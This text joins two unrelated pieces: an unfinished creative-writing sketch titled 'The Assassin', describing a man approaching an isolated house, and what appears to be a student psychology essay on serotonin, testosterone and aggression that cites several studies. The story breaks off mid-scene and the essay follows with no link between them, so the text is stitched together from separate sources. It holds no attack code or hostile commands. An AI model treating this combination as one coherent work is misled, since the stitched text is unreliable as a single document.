The Assassin Description: He was a tall man, very slim with a small egg shaped head. His teeth were a brilliant white and his eyes were a bright blue, they were like hawk eyes, quick and twitchy. His hair was dark brown and was combed through very neatly with a small quiff. His habits were very strange one of them were eating pistachio nuts when he was nervous another was when he was bored he would look for animals such as snakes, deer and fox's and to shoot them out of pure boredom. The woman's house was a very tall house with quite a few windows the walls were a greyish colour and there were fences running all along the side of the house. It was about 4pm on November the 11th when a car pulled up at the house; the house was a very lonely house although big it was quite a way away from the town. All of a sudden the car door opened and a man dressed in black stepped out from it, the car started to pull away the man just stood there then he looked left then right then at the house until finally he stared to run. He ran towards the woods that surrounded the house, he ran quite far in until he came to the back fence of the house. He stopped and looked around once more then he ducked down and pulled off a bag he had been carrying on his back. From the bag he pulled out a pair of pliers, as he did this a large Jaguar pulled up on to the stone drive of the house. A man dressed in a smart black suit stepped out of the driver's side of the car he walked round to the back door of the car and opened it, a young woman stepped out, she was tall, very slim, and had long blonde hair, the man closed the door they then both made their way towards the house, the man opened the front door to the house and they both stepped inside.

Neural and Hormonal Mechanisms in Aggression

Neural and Hormonal Mechanisms in Aggression Aggression in humans has been associated with low levels of serotonin and high levels of dopamine. Usually, serotonin has a calming effect, which inhibits aggression. When serotonin levels are low, this inhibitory effect is removed and people are less able to control their aggressive behaviour. Evidence for the importance of serotonin comes from two main sources.Brown (1982) found that there were low levels of the waste products of serotonin in the cerebrospinal fluid of individuals who are prone to impulsive and aggressive behaviour. The second source of evidence is studies where participants were given the drug dexfenfluramine, which reduces levels of serotonin in the brain. Mann (1990) administered dexfenfluramine to male and female participants, and found that males displayed more aggressive response on a questionnaire.A Meta analysis of 29 studies of serotonin and aggression showed that these studies consistently found evidence of low serotonin levels in antisocial children and adults. The levels of serotonin were particularly low in individuals who had attempted suicide, suggesting that low levels of serotonin lead to impulsive behaviour, one consequence of which is aggressive behaviour and, in some individuals, suicide. One of the consequences of low levels of serotonin is that the brain creates more receptors in an attempt to capture any serotonin that is available.This has been shown to be the case in research by Arora and Meltzer (2003), who found elevated levels of serotonin receptors in people who had committed violent suicide, thus supporting the claim that normal levels of serotonin have an inhibitory influence on violent behaviour. Ferrari (2003) showed support for serotonin in aggressive behaviour in an animal study for rats. They allowed rats to fight at the same time every day for 10 days, and not on the 11th day. They found that rats learned from their experience and had raised levels of serotonin in anticipation of having to fight.Serotonin explanation of aggression have been criticised as being reductionist. The link between serotonin and aggression is fairly well established in non-human animals, but the position is less clear in humans, particularly as aggressive behaviour in human is far more complex behaviour, and is subject to social learning, genetics and other factors. Testosterone has been associated with aggressive behaviour, although most studies have been corelational only. A Meta analysis carried out by Archer (1991) found a low positive correlation between testosterone levels and aggression.A study by Kouri (1995), gave participant either testosterone or a placebo. They were told that, by pressing a button they could reduce the amount of cash that another participant was receiving. Those who had received the testosterone pressed the button more than those with the placebo. An advantage of this study is that it made use of the experimental method, so allowing th e researchers to demonstrate a cause-and-effect relationship as researchers manipulated the presence of testosterone to see it effect on aggressive behaviour.An explanation of why testosterone and aggression are linked is the challenge hypothesis. This proposes that testosterone levels only rise above the base level in response to social challenges, such as threats to reproductive success. However, Mazur (1985) criticizes this explanation, claiming that individuals only act to assert dominance, which can be expressed in many different ways, of which aggression is one. There is also a gender bias in research on testosterone and aggression, as research typically tends to concentrate only on the role of testosterone on males.However, Archer (2005) found that the association between testosterone and aggression was even stronger for females. An additional problem is that research evidence is far from conclusive, with some studies showing no significant difference between violent and non- violent criminals (Bain et al. 1987), although another study found that most violent criminals had higher testosterone levels than less violent criminals (Kreuz and Rose 1972). This suggests that among individuals who are already predisposed towards violence, testosterone may be an additional influence that makes aggressive behaviour more likely.